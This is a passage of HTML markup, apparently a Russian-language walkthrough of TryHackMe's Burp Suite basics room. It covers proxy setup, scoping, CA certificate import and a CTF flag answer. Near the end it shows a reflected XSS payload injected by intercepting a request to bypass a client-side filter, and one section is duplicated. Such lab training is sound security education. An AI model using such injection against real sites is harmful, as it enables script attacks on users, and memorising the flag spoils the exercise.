    &lt;li id=&quot;N674&quot;&gt;&lt;strong&gt;Установите FoxyProxy:&lt;/strong&gt; Загрузите и установите &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-basic/&quot; target=&quot;_blank&quot;&gt;расширение FoxyProxy Basic&lt;/a&gt; .&lt;strong&gt;Примечание: FoxyProxy уже установлен на AttackBox.&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;fHkg&quot;&gt;&lt;strong&gt;Доступ к настройкам FoxyProxy:&lt;/strong&gt; После установки в правом верхнем углу браузера Firefox появится кнопка. Нажмите на кнопку FoxyProxy, чтобы открыть всплывающее окно с настройками FoxyProxy.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;50BG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/05/e6/05e6d918-3f38-49de-9504-d5fa0ea55937.png&quot; width=&quot;364&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;oPUJ&quot;&gt;
    &lt;li id=&quot;B2bb&quot;&gt;&lt;strong&gt;Создание конфигурации прокси Burp :&lt;/strong&gt; Во всплывающем окне параметров FoxyProxy нажмите кнопку &lt;strong&gt;«Параметры»&lt;/strong&gt; . Откроется новая вкладка браузера с настройками FoxyProxy. Нажмите кнопку &lt;strong&gt;«Добавить»&lt;/strong&gt; , чтобы создать новую конфигурацию прокси .&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;KWtH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1d/5b/1d5beda7-addf-40b0-afad-111bd05731c8.png&quot; width=&quot;903&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;NzQD&quot;&gt;
    &lt;li id=&quot;y1nY&quot;&gt;&lt;strong&gt;Добавление данных прокси&lt;/strong&gt; : На странице «Добавить прокси » заполните следующие поля:&lt;/li&gt;
    &lt;ul id=&quot;d5a2&quot;&gt;
      &lt;li id=&quot;Z2Hm&quot;&gt;Титул: &lt;code&gt;Burp&lt;/code&gt;(или любое другое предпочтительное имя)&lt;/li&gt;
      &lt;li id=&quot;Kp0Y&quot;&gt;IP-адрес прокси:&lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;
      &lt;li id=&quot;JsMd&quot;&gt;Порт:&lt;code&gt;8080&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;zlb6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/64/7a/647aae02-3f4a-4af0-b627-9f4106196794.png&quot; width=&quot;869&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;mUaN&quot;&gt;
    &lt;li id=&quot;l6am&quot;&gt;&lt;strong&gt;Сохранить конфигурацию:&lt;/strong&gt; Нажмите &lt;strong&gt;«Сохранить»&lt;/strong&gt; , чтобы сохранить конфигурацию Burp Proxy.&lt;/li&gt;
    &lt;li id=&quot;svmI&quot;&gt;&lt;strong&gt;Активация конфигурации прокси:&lt;/strong&gt; Щелкните значок FoxyProxy в правом верхнем углу браузера Firefox и выберите &lt;code&gt;Burp&lt;/code&gt; конфигурацию. Это перенаправит трафик вашего браузера через &lt;code&gt;127.0.0.1:8080&lt;/code&gt;. Обратите внимание, что для выполнения запросов при активации этой конфигурации в браузере должен быть запущен Burp Suite.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;CAs0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/ff/c4ffa0f4-4e3b-4ea8-97a2-912d42673158.png&quot; width=&quot;369&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;DIKU&quot;&gt;
    &lt;li id=&quot;Jcjl&quot;&gt;&lt;strong&gt;Включите перехват прокси-сервера в Burp Suite:&lt;/strong&gt; Переключитесь на Burp Suite и убедитесь, что функция перехвата включена на вкладке &lt;strong&gt;«Прокси»&lt;/strong&gt; .&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;ZMB1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/84/8d/848d0fca-cd7f-4bd6-a445-2889d8399f4a.png&quot; width=&quot;558&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;dpQd&quot;&gt;
    &lt;li id=&quot;iAnN&quot;&gt;&lt;strong&gt;Проверка прокси:&lt;/strong&gt; Откройте Firefox и попробуйте зайти на какой-нибудь сайт, например, на главную страницу &lt;code&gt;http://10.49.140.62/&lt;/code&gt;. Ваш браузер зависнет, и прокси-сервер обработает HTTP- запрос. Поздравляем, вы успешно перехватили свой первый запрос!&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;Q9tX&quot;&gt;&lt;strong&gt;Запомните следующее:&lt;/strong&gt;&lt;/p&gt;
  &lt;ul id=&quot;3IIg&quot;&gt;
    &lt;li id=&quot;YaDy&quot;&gt;Если в Burp Suite активирована конфигурация прокси-сервера и включен перехват запросов , ваш браузер будет зависать при каждом запросе.&lt;/li&gt;
    &lt;li id=&quot;L23a&quot;&gt;Будьте осторожны и не оставляйте функцию перехвата включенной случайно, так как это может помешать вашему браузеру отправлять какие-либо запросы.&lt;/li&gt;
    &lt;li id=&quot;g3b6&quot;&gt;Щелчок правой кнопкой мыши по запросу в Burp Suite позволяет выполнять различные действия, такие как пересылка, удаление, отправка в другие инструменты или выбор параметров из контекстного меню.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;vAis&quot;&gt;Обратите внимание на эти сведения, когда начнете использовать Burp Suite Proxy &lt;/p&gt;
  &lt;h2 id=&quot;uqYO&quot;&gt;&lt;strong&gt;10. Карта сайта и определения тем&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;X27s&quot;&gt;Вкладка &lt;strong&gt;«Цель»&lt;/strong&gt; в Burp Suite предоставляет не только возможность управления областью тестирования. Она состоит из трех подвкладок:&lt;/p&gt;
  &lt;ol id=&quot;z8KL&quot;&gt;
    &lt;li id=&quot;ri62&quot;&gt;&lt;strong&gt;Карта сайта&lt;/strong&gt; : Эта вкладка позволяет отобразить целевые веб-приложения в виде древовидной структуры. Каждая страница, которую мы посещаем во время работы прокси-сервера , будет отображаться на карте сайта. Эта функция позволяет автоматически создавать карту сайта, просто просматривая веб-приложение. В Burp Suite Professional мы также можем использовать карту сайта для автоматического сканирования целевого объекта, изучая ссылки между страницами и отображая как можно больше элементов сайта. Даже в Burp Suite Community мы можем использовать карту сайта для сбора данных на начальных этапах перечисления. Она особенно полезна для отображения API, поскольку любые конечные точки API, к которым обращается веб-приложение, будут зафиксированы на карте сайта.&lt;/li&gt;
    &lt;li id=&quot;5NAU&quot;&gt;&lt;strong&gt;Определение уязвимостей&lt;/strong&gt; : Хотя Burp Community не включает в себя полный функционал сканирования уязвимостей, доступный в Burp Suite Professional, у нас все же есть доступ к списку всех уязвимостей, которые ищет сканер. В разделе &lt;strong&gt;«Определение уязвимостей»&lt;/strong&gt; представлен обширный список веб-уязвимостей с описаниями и ссылками. Этот ресурс может быть полезен для указания уязвимостей в отчетах или для описания конкретной уязвимости, которая могла быть выявлена ​​в ходе ручного тестирования.&lt;/li&gt;
    &lt;li id=&quot;TljO&quot;&gt;&lt;strong&gt;Настройки области действия&lt;/strong&gt; : Этот параметр позволяет нам управлять областью действия в Burp Suite . Он позволяет включать или исключать определенные домены/ IP-адреса , чтобы определить область тестирования. Управляя областью действия, мы можем сосредоточиться на конкретных веб-приложениях, которые мы тестируем, и избежать перехвата ненужного трафика.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;1vS4&quot;&gt;В целом, вкладка &lt;strong&gt;«Цель»&lt;/strong&gt; предлагает функции, выходящие за рамки определения области действия, позволяя нам составлять карту веб-приложений, уточнять область действия цели и получать доступ к исчерпывающему списку веб-уязвимостей для справочных целей.&lt;/p&gt;
  &lt;h4 id=&quot;rVke&quot;&gt;Испытание&lt;/h4&gt;
  &lt;p id=&quot;g42N&quot;&gt;Осмотрите сайт &lt;a href=&quot;http://10.49.140.62/&quot; target=&quot;_blank&quot;&gt;http://10.49.140.62/&lt;/a&gt;— мы будем часто использовать этот инструмент на протяжении всего модуля. Посетите каждую вторую страницу, на которую ведет ссылка с главной страницы, а затем проверьте карту сайта — один из конечных адресов должен выделяться как очень необычный!&lt;/p&gt;
  &lt;p id=&quot;QKfw&quot;&gt;Погнали &lt;/p&gt;
  &lt;figure id=&quot;ZXGd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e3/07/e3074893-bb01-436e-a1df-840c04fdecad.png&quot; width=&quot;1521&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XxDs&quot;&gt;вот что нашел бурп на сайте пока я его тыкал &lt;/p&gt;
  &lt;figure id=&quot;k8Fg&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d2/36/d23695f0-74a2-496d-ab15-bcc2505d0e74.png&quot; width=&quot;1732&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;sbZm&quot;&gt;Вопрос о небычной конечной точки, сразу находим её ( тут просто ищем по сайту ссылку)&lt;/p&gt;
  &lt;figure id=&quot;tXr3&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/1d/c41df686-49be-4e11-add7-11cd9128b364.png&quot; width=&quot;1171&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;V3L0&quot;&gt;Вопрос: Какой флаг вы получаете после посещения необычной конечной точки?&lt;/p&gt;
    &lt;p id=&quot;NfbA&quot;&gt;Ответ: THM{NmNlZTliNGE1MWU1ZTQzMzgzNmFiNWVk}&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;PHIh&quot;&gt;&lt;strong&gt;11. Браузер Burp Suite&lt;/strong&gt;&lt;/h2&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;2MmY&quot;&gt;&lt;em&gt;(да у него есть возможность запуститься через браузер и от туда уже получать трафик - но мы это не используем потому что настроили прокси через FoxyProxy)&lt;/em&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;wkYT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/c3/aec3e3ba-679e-4082-82aa-42ce23609a17.png&quot; width=&quot;355&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9WhM&quot;&gt;Если предыдущие задания показались вам слишком сложными, не волнуйтесь, эта тема будет намного проще.&lt;/p&gt;
  &lt;p id=&quot;f7Uo&quot;&gt;Помимо модификации нашего обычного веб-браузера для работы с прокси-сервером , Burp Suite также включает в себя встроенный браузер Chromium, предварительно настроенный на использование прокси-сервера без каких-либо изменений, которые нам только что пришлось внести.&lt;/p&gt;
  &lt;p id=&quot;3Czc&quot;&gt;Чтобы запустить браузер Burp, нажмите &lt;code&gt;Open Browser&lt;/code&gt;кнопку на вкладке «Прокси». Откроется окно Chromium, и все запросы, сделанные в этом браузере, будут проходить через прокси.&lt;/p&gt;
  &lt;figure id=&quot;AGji&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/61ee07fd18e8bac9ec6a566c25a3e814.png&quot; width=&quot;593&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fq6s&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; В параметрах проекта и пользовательских настройках есть множество параметров, связанных с Burp Browser. Обязательно изучите и настройте их по своему усмотрению.&lt;/p&gt;
  &lt;p id=&quot;uDBy&quot;&gt;Однако, если вы запускаете Burp Suite в Linux от имени пользователя root (как в случае с AttackBox), вы можете столкнуться с ошибкой, препятствующей запуску Burp Browser из-за невозможности создать изолированную среду.&lt;/p&gt;
  &lt;p id=&quot;s1gf&quot;&gt;Есть два простых решения этой проблемы:&lt;/p&gt;
  &lt;ol id=&quot;MDVl&quot;&gt;
    &lt;li id=&quot;jKfz&quot;&gt;&lt;strong&gt;Разумный вариант:&lt;/strong&gt; создайте нового пользователя и запустите Burp Suite под учетной записью с низкими привилегиями, чтобы браузер Burp работал без проблем.&lt;/li&gt;
    &lt;li id=&quot;HX0F&quot;&gt;&lt;strong&gt;Простой вариант:&lt;/strong&gt; перейдите в настройки &lt;code&gt;Settings -&amp;gt; Tools -&amp;gt; Burp&amp;#x27;s browser&lt;/code&gt;и отметьте этот &lt;code&gt;Allow Burp&amp;#x27;s browser to run without a sandbox&lt;/code&gt; параметр. Включение этой опции позволит браузеру запускаться без песочницы . Однако имейте в виду, что по умолчанию эта опция отключена по соображениям безопасности. Если вы решите включить её, будьте осторожны, так как взлом браузера может предоставить злоумышленнику доступ ко всей вашей машине. В учебной среде AttackBox это вряд ли станет серьёзной проблемой, но используйте её ответственно.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h2 id=&quot;D6j0&quot;&gt;&lt;/h2&gt;
  &lt;h2 id=&quot;Bomb&quot;&gt;&lt;strong&gt;12. Определение масштабов и целевое планирование&lt;/strong&gt;&lt;/h2&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;xKh3&quot;&gt;&lt;em&gt;( ЭТО ТОЖЕ НАСТРОЙКА ЧИСТО БЕЗ ПРОКСИ - А ТУПО ПО ПРЯМОМУ ЗАБИРАТЬ ТРАФИК ЧЕРЕЗ ВАШ БРАУЗЕР) - НЕ СТОИТ - ЮЗАЙТЕ FoxyProxy&lt;/em&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;GtTt&quot;&gt;Наконец, мы переходим к одному из важнейших аспектов использования Burp Proxy : &lt;strong&gt;определению области действия&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;wKY7&quot;&gt;Сбор и регистрация всего трафика может быстро стать непосильной и неудобной задачей, особенно когда нам нужно сосредоточиться только на конкретных веб-приложениях. Вот тут-то и пригодится определение области действия.&lt;/p&gt;
  &lt;p id=&quot;s7U1&quot;&gt;Задав область действия проекта, мы можем определить, что будет передаваться через прокси и записываться в лог в Burp Suite . Мы можем ограничить Burp Suite тестированием только тех веб-приложений, которые мы хотим протестировать. Самый простой способ сделать это — перейти на вкладку &lt;code&gt;Target&lt;/code&gt;, щелкнуть правой кнопкой мыши по целевому приложению в списке слева и выбрать &lt;code&gt;Add To Scope&lt;/code&gt;. Затем Burp предложит нам выбрать, хотим ли мы прекратить запись в лог всего, что не входит в область действия, и в большинстве случаев нам следует выбрать &lt;code&gt;yes&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;nR4n&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/5db0a2b0597830ae32aaaf9b80d73187.gif&quot; width=&quot;1406&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QVng&quot;&gt;Чтобы проверить область действия, можно перейти на вкладку « &lt;strong&gt;Настройки области действия» во вкладке «Цель»&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;IOsN&quot;&gt;Окно настроек области действия позволяет нам управлять целевой областью действия, включая или исключая домены/IP-адреса. Этот раздел очень функционален, и стоит уделить время его изучению.&lt;/p&gt;
  &lt;p id=&quot;eXdE&quot;&gt;Однако, даже если мы отключим логирование для трафика, выходящего за рамки области действия, прокси-сервер все равно будет перехватывать все. Чтобы предотвратить это, нам нужно перейти на вкладку « &lt;strong&gt;Настройки прокси-сервера&lt;/strong&gt;&lt;code&gt;And&lt;/code&gt; &lt;code&gt;URL&lt;/code&gt; &lt;code&gt;Is in target scope&lt;/code&gt; » и выбрать раздел «Перехват запросов клиентов».&lt;/p&gt;
  &lt;figure id=&quot;QlSH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/97db105960dfe71e42855461e3ef0de2.png&quot; width=&quot;1265&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7ylc&quot;&gt;Включение этой опции гарантирует, что прокси-сервер полностью игнорирует любой трафик, не входящий в заданную область видимости, что обеспечивает более наглядное отображение трафика в Burp Suite .&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;rw6N&quot;&gt;Добавьте &lt;code&gt;http://10.49.140.62/&lt;/code&gt;в область действия и измените настройки прокси-сервера таким образом, чтобы он перехватывал только трафик к целевым объектам, входящим в область действия.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;jEZR&quot;&gt;Наконец, мы переходим к одному из важнейших аспектов использования Burp Proxy : &lt;strong&gt;определению области действия&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;qklW&quot;&gt;Сбор и регистрация всего трафика может быстро стать непосильной и неудобной задачей, особенно когда нам нужно сосредоточиться только на конкретных веб-приложениях. Вот тут-то и пригодится определение области действия.&lt;/p&gt;
  &lt;p id=&quot;4OrH&quot;&gt;Задав область действия проекта, мы можем определить, что будет передаваться через прокси и записываться в лог в Burp Suite . Мы можем ограничить Burp Suite тестированием только тех веб-приложений, которые мы хотим протестировать. Самый простой способ сделать это — перейти на вкладку &lt;code&gt;Target&lt;/code&gt;, щелкнуть правой кнопкой мыши по целевому приложению в списке слева и выбрать &lt;code&gt;Add To Scope&lt;/code&gt;. Затем Burp предложит нам выбрать, хотим ли мы прекратить запись в лог всего, что не входит в область действия, и в большинстве случаев нам следует выбрать &lt;code&gt;yes&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;CdAI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/5db0a2b0597830ae32aaaf9b80d73187.gif&quot; width=&quot;1406&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;p8AN&quot;&gt;Чтобы проверить область действия, можно перейти на вкладку « &lt;strong&gt;Настройки области действия» во вкладке «Цель»&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;D0AQ&quot;&gt;Окно настроек области действия позволяет нам управлять целевой областью действия, включая или исключая домены/IP-адреса. Этот раздел очень функционален, и стоит уделить время его изучению.&lt;/p&gt;
  &lt;p id=&quot;0wLg&quot;&gt;Однако, даже если мы отключим логирование для трафика, выходящего за рамки области действия, прокси-сервер все равно будет перехватывать все. Чтобы предотвратить это, нам нужно перейти на вкладку « &lt;strong&gt;Настройки прокси-сервера&lt;/strong&gt;&lt;code&gt;And&lt;/code&gt; &lt;code&gt;URL&lt;/code&gt; &lt;code&gt;Is in target scope&lt;/code&gt; » и выбрать раздел «Перехват запросов клиентов».&lt;/p&gt;
  &lt;figure id=&quot;3dzl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/97db105960dfe71e42855461e3ef0de2.png&quot; width=&quot;1265&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YhVz&quot;&gt;Включение этой опции гарантирует, что прокси-сервер полностью игнорирует любой трафик, не входящий в заданную область видимости, что обеспечивает более наглядное отображение трафика в Burp Suite .&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;fgPT&quot;&gt;Добавьте &lt;a href=&quot;http://10.49.140.62/&quot; target=&quot;_blank&quot;&gt;http://10.49.140.62/&lt;/a&gt;в область действия и измените настройки прокси-сервера таким образом, чтобы он перехватывал только трафик к целевым объектам, входящим в область действия.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;D6B0&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;EBeT&quot;&gt;&lt;strong&gt;13. Проксирование HTTPS&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;2LZW&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;PVSk&quot;&gt;&lt;em&gt;( ТУТ ОЧЕНЬ ДОЛГО И МУТОРНО РАССПИЫВАЮТ КАК ОНО ДОЛЖНО РАБОТАТЬ, НУЖЕН СЕРТИФИКАТ ДЛЯ БРАУЗЕРА, ЧТОБЫ СТРАНИЦЫ КОГДА ПЕРЕХВАТЫВАЕШЬ ИЛИ ПУКСКАЕШЬ ПО НИМ ТРАФИК, НЕ УЛЕТАЛИ В ОТКАЗ ИЗ ЗА ТОГО ЧТО БУРП НЕДОВЕРЕННЫЙ СЕРТИФИКАТ)&lt;/em&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;X7iQ&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; AttackBox уже настроен для решения задачи, поставленной в этом задании. Если вы используете AttackBox и не хотите читать информацию здесь, можете перейти к следующему заданию.&lt;/p&gt;
  &lt;p id=&quot;ZQQu&quot;&gt;При перехвате HTTP- трафика могут возникнуть проблемы при переходе на сайты с включенным TLS . Например, при доступе к сайту типа [ссылка на сайт &lt;code&gt;https://google.com/&lt;/code&gt;] может появиться ошибка, указывающая на то, что центр сертификации PortSwigger (CA) не уполномочен защищать соединение. Это происходит потому, что браузер не доверяет сертификату, предоставленному Burp Suite.&lt;/p&gt;
  &lt;figure id=&quot;DOpY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/8b4b43cac91cd9a80622b953598d05eb.png&quot; width=&quot;895&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2sMc&quot;&gt;Чтобы решить эту проблему, мы можем вручную добавить сертификат центра сертификации PortSwigger в список доверенных центров сертификации нашего браузера. Вот как это сделать:&lt;/p&gt;
  &lt;ol id=&quot;RCt6&quot;&gt;
    &lt;li id=&quot;hxJ9&quot;&gt;&lt;strong&gt;Загрузите сертификат центра сертификации:&lt;/strong&gt; После активации Burp Proxy перейдите по адресу http://burp/cert. Это загрузит файл с именем &lt;code&gt;cacert.der&lt;/code&gt;. Сохраните этот файл где-нибудь на вашем компьютере.&lt;/li&gt;
    &lt;li id=&quot;UyDj&quot;&gt;&lt;strong&gt;Чтобы получить доступ к настройкам сертификатов Firefox:&lt;/strong&gt; введите &lt;code&gt;about:preferences&lt;/code&gt;в адресную строку Firefox и нажмите &lt;strong&gt;Enter&lt;/strong&gt; . Это переведет вас на страницу настроек Firefox. Найдите на странице «сертификаты» и нажмите кнопку « &lt;strong&gt;Просмотреть сертификаты»&lt;/strong&gt; .&lt;/li&gt;
    &lt;li id=&quot;0MXe&quot;&gt;&lt;strong&gt;Импортируйте сертификат центра сертификации:&lt;/strong&gt; в окне «Диспетчер сертификатов» нажмите кнопку &lt;strong&gt;«Импорт»&lt;/strong&gt; . Выберите &lt;code&gt;cacert.der&lt;/code&gt;файл, который вы скачали на предыдущем шаге.&lt;/li&gt;
    &lt;li id=&quot;YSmX&quot;&gt;&lt;strong&gt;Настройка доверия для сертификата центра сертификации :&lt;/strong&gt; В появившемся окне установите флажок «Доверять этому центру сертификации для идентификации веб-сайтов» и нажмите ОК.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;bXWm&quot;&gt;Выполнив эти шаги, мы добавили сертификат центра сертификации PortSwigger в наш список доверенных центров сертификации. Теперь мы сможем посещать любые сайты с поддержкой TLS без возникновения ошибки сертификата.&lt;/p&gt;
  &lt;p id=&quot;APJQ&quot;&gt;Для наглядной демонстрации всего процесса импорта сертификатов вы можете посмотреть следующее видео:&lt;/p&gt;
  &lt;figure id=&quot;o5Zs&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/fb2a8717ae887eda024a7791d83cefaf.gif&quot; width=&quot;1137&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jlKA&quot;&gt;Следуя этим инструкциям, вы можете гарантировать, что ваш браузер будет доверять сертификату центра сертификации PortSwigger и безопасно взаимодействовать с веб-сайтами, поддерживающими TLS, через прокси-сервер Burp Suite .&lt;/p&gt;
  &lt;h2 id=&quot;C0eE&quot;&gt;&lt;strong&gt;14. Пример атаки&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;EB9c&quot;&gt;Рассмотрев, как настроить прокси-сервер , давайте перейдем к упрощенному примеру из реальной жизни.&lt;/p&gt;
  &lt;p id=&quot;jFaM&quot;&gt;Начнём с рассмотрения формы обратной связи по адресу &lt;code&gt;http://10.49.140.62/ticket/&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;UGKN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/5b50c536c72d943a3aa5665bcf8858a5.png&quot; width=&quot;623&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;h9ZC&quot;&gt;В реальных условиях тестирования веб-приложений на проникновение мы проверяем это на множество вещей, одной из которых является межсайтовая скриптовая атака (XSS). Если вы еще не сталкивались с XSS, то это можно представить как внедрение клиентского скрипта (обычно на JavaScript) в веб-страницу таким образом, что он выполняется. Существуют различные виды XSS — тип, который мы используем здесь, называется «отраженной» XSS, поскольку он затрагивает только того, кто отправляет веб-запрос.&lt;/p&gt;
  &lt;h4 id=&quot;Z0lc&quot;&gt;Пошаговое руководство&lt;/h4&gt;
  &lt;p id=&quot;hc24&quot;&gt;Попробуйте ввести: &lt;code&gt;&amp;lt;script&amp;gt;alert(&amp;quot;Succ3ssful XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;, в поле «Контактный адрес электронной почты». Вы обнаружите, что сработал фильтр на стороне клиента, который не позволяет добавлять специальные символы, недопустимые в адресах электронной почты:&lt;/p&gt;
  &lt;figure id=&quot;Tydo&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/04acd78be44400cf105c7d41b104b7fe.gif&quot; width=&quot;689&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8pN3&quot;&gt;К счастью, клиентские фильтры невероятно легко обойти. Существует множество способов отключить скрипт или просто предотвратить его загрузку.&lt;/p&gt;
  &lt;p id=&quot;dwYP&quot;&gt;Давайте пока сосредоточимся на том, чтобы просто обойти фильтр.&lt;/p&gt;
  &lt;p id=&quot;GmCu&quot;&gt;Во-первых, убедитесь, что ваш Burp Proxy активен и что функция перехвата включена.&lt;/p&gt;
  &lt;p id=&quot;ATtm&quot;&gt;Теперь введите корректные данные в форму запроса в службу поддержки. Например: &amp;quot;pentester@example.thm&amp;quot; в качестве адреса электронной почты и &amp;quot;Test Attack&amp;quot; в качестве запроса.&lt;/p&gt;
  &lt;p id=&quot;0Nlh&quot;&gt;Отправьте форму  —  запрос должен быть перехвачен прокси-сервером.&lt;/p&gt;
  &lt;p id=&quot;j6di&quot;&gt;После перехвата запроса прокси-сервером мы можем изменить поле электронной почты, указав в нем нашу простую полезную нагрузку, описанную выше: &lt;code&gt;&amp;lt;script&amp;gt;alert(&amp;quot;Succ3ssful XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;. После вставки полезной нагрузки нам нужно выделить ее, а затем закодировать URL-адрес с помощью &lt;code&gt;Ctrl + U&lt;/code&gt;сочетания клавиш, чтобы сделать ее безопасной для отправки. Этот процесс показан на GIF-анимации ниже:&lt;/p&gt;
  &lt;figure id=&quot;Qbue&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/58c5bf5382cdee55ab12e0752d819ebe.gif&quot; width=&quot;1019&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Bau5&quot;&gt;Наконец, нажмите кнопку «Переслать», чтобы отправить запрос.&lt;/p&gt;
  &lt;p id=&quot;J3kA&quot;&gt;На сайте должно появиться всплывающее окно с предупреждением об успешной XSS- атаке!&lt;/p&gt;
  &lt;figure id=&quot;Zdfa&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/0ee12f5040b4c2898a71c1300a76f03f.png&quot; width=&quot;459&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;3Vow&quot;&gt;&lt;strong&gt;15. Заключение&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;GqiM&quot;&gt;Поздравляем с завершением комнаты «Основы Burp»! Теперь вы обладаете прочным пониманием интерфейса Burp Suite , параметров конфигурации и Burp Proxy . Эти навыки будут необходимы вам в дальнейшем в сфере тестирования на проникновение веб- и мобильных приложений.&lt;/p&gt;
